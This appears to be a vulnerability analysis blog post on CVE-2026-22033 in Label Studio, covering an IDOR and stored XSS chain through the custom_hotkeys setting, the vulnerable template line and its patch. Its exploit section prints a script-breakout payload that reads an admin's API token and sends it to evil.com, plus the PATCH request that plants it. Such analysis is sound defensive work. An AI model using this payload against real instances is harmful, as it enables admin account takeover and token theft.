Label Studio: Tagging Admins for Takeover via IDOR & XSS
Jan 12, 2026·5 min read
Executive Summary (TL;DR)
Label Studio versions <= 1.22.0 contain a critical flaw where user-defined hotkeys are rendered into the main HTML template without proper escaping. Because the API also lacks access controls (IDOR), a low-privileged attacker can push a malicious hotkey configuration to an administrator's profile. When the admin logs in, the injected JavaScript executes, exfiltrating their API token and granting the attacker full control over the instance.
A critical chain of vulnerabilities in Label Studio allows attackers to combine an Insecure Direct Object Reference (IDOR) with a stored Cross-Site Scripting (XSS) payload to hijack administrator accounts. By exploiting a lack of input sanitization in the 'custom_hotkeys' feature and a naive template rendering strategy, attackers can inject malicious JavaScript that executes in the context of other users.
The Hook: Unsafe at Any Speed
Label Studio is the Swiss Army knife of data annotation—images, audio, text, you name it. It is the backbone for many ML pipelines, which makes it a juicy target. If you control the labeling tool, you control the dataset; if you control the dataset, you control the model. But today, we aren't poisoning data; we are poisoning the platform itself.
The vulnerability we are dissecting (CVE-2026-22033) is a masterclass in why "it works on my machine" is not a valid security posture. It combines two classic vulnerabilities—IDOR and XSS—into a reliable kill chain. It is the digital equivalent of realizing your front door is locked (authentication works), but your neighbor has a key to your back door and just decided to renovate your kitchen without asking.
At its core, this is a story about the Django safe filter. Django is a framework that tries desperately to keep developers safe. It auto-escapes HTML by default. It screams at you when you try to do something dangerous. But developers are stubborn. Sometimes, in the pursuit of getting a complex JSON object to the frontend, they bypass those safety rails. And that is exactly what happened here.
The Flaw: Trust Issues and HTML Contexts
To understand this exploit, you have to understand the difference between a JavaScript context and an HTML context. Developers often assume that if they serialize a Python dictionary to JSON, it is safe to drop into a <script> tag. They assume json.dumps() creates a safe string. They are wrong.
The root cause lies in label_studio/templates/base.html. The application takes user-controlled data—specifically the custom_hotkeys preference—and injects it directly into a global JavaScript variable. To make sure the JSON structure remained valid, the developers applied a custom filter json_dumps_ensure_ascii and then, crucially, the Django |safe filter.
The |safe filter tells Django: "I know what I'm doing, don't escape this." But Python's standard JSON encoder does not escape characters like < or /. If an attacker puts the string </script> inside a JSON key, the browser's HTML parser—which runs before the JavaScript engine—sees that tag and immediately closes the script block. The rest of the JSON string is then interpreted as raw HTML. This allows an attacker to break out of the variable assignment and inject their own malicious script tags.
The Code: The Smoking Gun
Let's look at the crime scene. In label_studio/templates/base.html, the code looked like this:
<!-- Vulnerable Code -->
<script id="app-settings" nonce="{{request.csp_nonce}}">
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
// ... other settings
</script>The user.custom_hotkeys data comes from the backend database. How does it get there? Via label_studio/users/api.py. The PATCH endpoint allows users to update their profile. The serializer blindly accepts the custom_hotkeys dictionary without sanitizing keys or values for HTML special characters.
The fix (Commit ea2462bf) introduces a new filter specifically designed to handle this context confusion:
<script id="app-settings" nonce="{{request.csp_nonce}}">
- var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
+ var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|escape_lt_gt|safe }};The new escape_lt_gt filter converts < to \u003c and > to \u003e. This preserves the JSON structure for the JavaScript engine but prevents the HTML parser from seeing a closing script tag.
The Exploit: Breaking the Fourth Wall
Here is where it gets fun (or terrifying, depending on your job title). If this were just a Self-XSS, we would close the report as "User, don't hit yourself." But the advisory mentions an IDOR (Insecure Direct Object Reference) component. This means we aren't limited to poisoning our own session.
Step 1: The Setup.
First, we need to find the user ID of our victim (likely an admin). A simple call to /api/users/ might list everyone, or we can guess low integers like ID 1.
Step 2: The Payload.
We construct a JSON payload where the key contains our breakout sequence. The browser parses </script> regardless of whether it's inside a JSON string quote or not.
{
"custom_hotkeys": {
"INJ;</script><script>fetch('/api/current-user/token').then(r=>r.json()).then(t=>fetch('https://evil.com/'+t.token))</script><script>/*": {
"key": "x",
"active": true
}
}
}Step 3: The Delivery.
We send a PATCH request to /api/users/{ADMIN_ID}. The server saves this blob into the admin's profile without validation.
Step 4: The Execution. The next time the admin visits any page on Label Studio, the template renders. The browser sees:
<script>
var __customHotkeys = {"INJ;
</script>
<script>
fetch('/api/current-user/token')... // The exploit runs here
</script>The first script block terminates prematurely (causing a syntax error in the JS console that nobody reads), and our second script block executes, silently exfiltrating the admin's token to our server.
The Impact: Game Over
The impact here is absolute. Label Studio uses API tokens for authentication. Once an attacker has an admin's token, they effectively are the admin. They can delete datasets, poison training labels, create new admin users, or achieve Remote Code Execution (RCE) if the platform allows uploading executable scripts or ML models.
Furthermore, because the XSS fires on base.html, it affects every single page in the application. There is no safe harbor. The moment the victim logs in, they are compromised. This is a persistent, stored attack with high reliability because it doesn't rely on complex user interaction—just the victim existing.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Label Studio HumanSignal | <= 1.22.0 | post-1.22.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (XSS), CWE-284 (IDOR) |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 8.6 (High) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.